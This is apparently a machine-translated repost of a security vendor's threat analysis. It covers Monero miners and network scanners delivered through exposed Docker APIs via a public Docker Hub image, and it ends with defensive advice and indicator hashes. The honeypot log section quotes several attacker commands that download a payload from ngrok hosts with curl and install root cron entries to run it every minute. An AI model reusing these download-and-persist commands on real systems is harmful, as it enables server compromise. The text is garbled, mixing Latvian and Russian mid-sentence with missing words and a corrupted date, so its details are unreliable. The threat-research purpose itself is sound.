
Mēs analizējām datus, kas savākti, izmantojot medus podu konteinerus, kurus izveidojām, lai izsekotu draudiem. Mēs atklājām ievērojamas aktivitātes no nevēlamiem vai neatļautiem kriptovalūtas ieguvējiem, kas tika izvietoti kā negodīgi konteineri, izmantojot kopienas publicētu attēlu vietnē Docker Hub. Attēls tiek izmantots kā daļa no pakalpojuma, kas nodrošina ļaunprātīgas kriptovalūtas kalnračus.
Turklāt ir instalētas programmas darbam ar tīkliem, lai iekļūtu atvērtos blakus esošajos konteineros un lietojumprogrammās.
Mēs atstājam savus meduspodus tādus, kādi ir, tas ir, ar noklusējuma iestatījumiem, bez jebkādiem drošības pasākumiem vai papildu programmatūras instalēšanas. Lūdzu, ņemiet vērā, ka Docker ir ieteikumi sākotnējai iestatīšanai, lai izvairītos no kļūdām un vienkāršām ievainojamībām. Bet izmantotie meduspodi ir konteineri, kas paredzēti, lai atklātu uzbrukumus, kas vērsti pret konteineru platformu, nevis konteineros esošajām lietojumprogrammām.
Atklātā ļaunprātīgā darbība ir arī ievērojama, jo tai nav nepieciešama ievainojamība un tā ir arī neatkarīga no Docker versijas. Nepareizi konfigurēta un līdz ar to atvērta konteinera attēla atrašana ir viss, kas uzbrucējiem nepieciešams, lai inficētu daudzus atvērtus serverus.
Neaizvērta Docker API ļauj lietotājam veikt plašu darbību klāstu , tostarp, iegūstot darbojošos konteineru sarakstu, iegūstot žurnālus no konkrēta konteinera, sākšanu, apturēšanu (tostarp piespiedu kārtā) un pat izveidojot jaunu konteineru no konkrēta attēla ar noteiktiem iestatījumiem.

Kreisajā pusē ir ļaunprātīgas programmatūras piegādes veids. Labajā pusē ir uzbrucēja vide, kas ļauj attālināti izlaist attēlus.

3762 atvērto Docker API izplatīšana pa valstīm. Pamatojoties uz Shodan meklēšanu, kas datēta ar 12.02.2019/XNUMX/XNUMX
Uzbrukuma ķēdes un kravnesības iespējas
Ļaunprātīga darbība konstatēta ne tikai ar meduspodu palīdzību. Dati no Shodan liecina, ka atklāto Docker API skaits (skatiet otro grafiku) ir palielinājies, kopš mēs pētījām nepareizi konfigurētu konteineru, ko izmantoja kā tiltu Monero kriptovalūtas ieguves programmatūras izvietošanai. Pagājušā gada oktobrī (2018, aktuālie dati apm. tulkotājs) bija tikai 856 atvērtas API.
Medus podu žurnālu pārbaude parādīja, ka konteinera attēlu izmantošana bija saistīta arī ar izmantošanu , rīks drošu savienojumu izveidošanai vai trafika pārsūtīšanai no publiski pieejamiem punktiem uz noteiktām adresēm vai resursiem (piemēram, localhost). Tas ļauj uzbrucējiem dinamiski izveidot vietrāžus URL, piegādājot lietderīgo slodzi uz atvērtu serveri. Tālāk ir sniegti kodu piemēri no žurnāliem, kas parāda ngrok pakalpojuma ļaunprātīgu izmantošanu:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Kā redzat, augšupielādētie faili tiek lejupielādēti no pastāvīgi mainīgiem URL. Šiem vietrāžiem URL ir īss derīguma termiņš, tāpēc lietderīgās slodzes nevar lejupielādēt pēc derīguma termiņa beigām.
Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.
Pilinātāja skripts iestata divus mainīgos, kurus pēc tam izmanto, lai izvietotu kriptovalūtas kalnraču. Mainīgais HOST satur vietrādi URL, kurā atrodas ļaunprātīgie faili, un RIP mainīgais ir izvietojamā kalnraču faila nosaukums (faktiski jaucējvārds). Mainīgais HOST mainās ikreiz, kad mainās jaukšanas mainīgais. Skripts arī mēģina pārbaudīt, vai uzbruktajā serverī nedarbojas citi kriptovalūtas ieguvēji.

HOST un RIP mainīgo piemēri, kā arī koda fragments, ko izmanto, lai pārbaudītu, vai nedarbojas citi kalnrači
Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.
Meklēšanas skriptam ir arī funkcijas. Tas darbojas ar to pašu URL pakalpojumu, lai izvietotu nepieciešamos rīkus. Starp tiem ir zmap binārs, ko izmanto tīklu skenēšanai un atvērto portu saraksta iegūšanai. Skripts arī ielādē citu bināro failu, kas tiek izmantots, lai mijiedarbotos ar atrastajiem pakalpojumiem un saņemtu no tiem banerus, lai noteiktu papildu informāciju par atrasto pakalpojumu (piemēram, tā versiju).
Skripts arī iepriekš nosaka dažus skenējamos tīkla diapazonus, taču tas ir atkarīgs no skripta versijas. Tas arī iestata mērķa portus no pakalpojumiem, šajā gadījumā no Docker, pirms skenēšanas.
Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, , Docker 1.16 klients un Apache CouchDB. Ja skenētais serveris atbilst kādam no tiem, tas tiek saglabāts teksta failā, ko uzbrucēji vēlāk var izmantot turpmākai analīzei un uzlaušanai. Šie teksta faili tiek augšupielādēti uzbrucēju serveros, izmantojot dinamiskas saites. Tas nozīmē, ka katram failam tiek izmantots atsevišķs URL, kas nozīmē, ka turpmākā piekļuve ir sarežģīta.
Uzbrukuma vektors ir Docker attēls, kā redzams nākamajās divās koda daļās.

Augšpusē ir pārdēvēšana par likumīgu pakalpojumu, bet apakšā ir norādīts, kā zmap tiek izmantots tīklu skenēšanai.

Augšpusē ir iepriekš noteikti tīkla diapazoni, apakšā ir īpaši porti pakalpojumu, tostarp Docker, meklēšanai

Ekrānuzņēmums parāda, ka kalnu čokurošanās attēls ir lejupielādēts vairāk nekā 10 miljonus reižu
На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать . Kā redzams iepriekšējā attēlā, šis attēls jau ir lejupielādēts vairāk nekā 10 miljonus reižu. Liels lejupielāžu skaits var nozīmēt šī attēla izmantošanu kā ieejas punktu; šis attēls tika atjaunināts pirms vairāk nekā sešiem mēnešiem; lietotāji ne tik bieži lejupielādēja citus attēlus no šī krātuves. Programmā Docker - instrukciju kopa, ko izmanto, lai konfigurētu konteineru tā palaišanai. Ja ieejas punkta iestatījumi ir nepareizi (piemēram, konteiners ir atstāts atvērts no interneta), attēlu var izmantot kā uzbrukuma vektoru. Uzbrucēji to var izmantot, lai piegādātu lietderīgo kravu, ja viņi atrod nepareizi konfigurētu vai atvērtu konteineru, kas nav atbalstīts.
Ir svarīgi atzīmēt, ka šis attēls (alpu čokurošanās) pats par sevi nav ļaunprātīgs, taču, kā redzat iepriekš, to var izmantot ļaunprātīgu funkciju veikšanai. Līdzīgus Docker attēlus var izmantot arī ļaunprātīgu darbību veikšanai. Mēs sazinājāmies ar Docker un sadarbojāmies ar viņiem šajā jautājumā.
Ieteikumi
paliek daudziem uzņēmumiem, īpaši tiem, kas ievieš , kas vērsta uz strauju attīstību un piegādi. Visu pasliktina nepieciešamība ievērot audita un uzraudzības noteikumus, nepieciešamība uzraudzīt datu konfidencialitāti, kā arī to neievērošanas radītais milzīgais kaitējums. Drošības automatizācijas iekļaušana izstrādes dzīves ciklā ne tikai palīdz atrast drošības robus, kas citādi varētu palikt nepamanīti, bet arī palīdz samazināt nevajadzīgu darba slodzi, piemēram, palaist papildu programmatūras būvējumus katrai atklātajai ievainojamībai vai nepareizai konfigurācijai pēc lietojumprogrammas izvietošanas.
Šajā rakstā apspriestais negadījums uzsver nepieciešamību no paša sākuma ņemt vērā drošību, tostarp šādus ieteikumus:
- Sistēmas administratoriem un izstrādātājiem: vienmēr pārbaudiet API iestatījumus, lai pārliecinātos, ka viss ir konfigurēts, lai pieņemtu pieprasījumus tikai no konkrēta servera vai iekšējā tīkla.
- Ievērojiet mazāko tiesību principu: nodrošiniet konteinera attēlu parakstīšanu un pārbaudi, ierobežojiet piekļuvi kritiskajiem komponentiem (konteinera palaišanas pakalpojums) un pievienojiet tīkla savienojumiem šifrēšanu.
- Sekojiet un iespējot drošības mehānismus, piem. un iebūvēts .
- Izmantojiet automātisku izpildlaiku un attēlu skenēšanu, lai iegūtu papildu informāciju par procesiem, kas darbojas konteinerā (piemēram, lai noteiktu viltojumus vai meklētu ievainojamības). Lietojumprogrammu kontrole un integritātes uzraudzība palīdz izsekot neparastām izmaiņām serveros, failos un sistēmas apgabalos.
Trendmicro palīdz DevOps komandām droši izveidot, ātri izlaist un palaist jebkurā vietā. Trend Micro Nodrošina jaudīgu, racionalizētu un automatizētu drošību visā organizācijas DevOps konveijerā un nodrošina vairākus aizsardzību pret draudiem. lai aizsargātu fiziskās, virtuālās un mākoņa darba slodzes izpildlaikā. Tas arī palielina konteinera drošību и , kas skenē Docker konteinera attēlus, lai atrastu ļaunprātīgu programmatūru un ievainojamības jebkurā izstrādes procesa punktā, lai novērstu draudus pirms to izvietošanas.
Kompromisa pazīmes
Saistītās jaucējzīmes:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
uz Praktiski skaļruņi parāda, kādi iestatījumi vispirms ir jāveic, lai samazinātu iepriekš aprakstītās situācijas iespējamību vai pilnībā izvairītos no tās. Un 19.-21.augustā tiešsaistes intensīvajā Šīs un līdzīgas drošības problēmas varat pārrunāt ar kolēģiem un praktizējošiem skolotājiem pie apaļā galda, kur ikviens var izteikties un ieklausīties pieredzējušo kolēģu sāpēs un veiksmēs.
Avots: www.habr.com
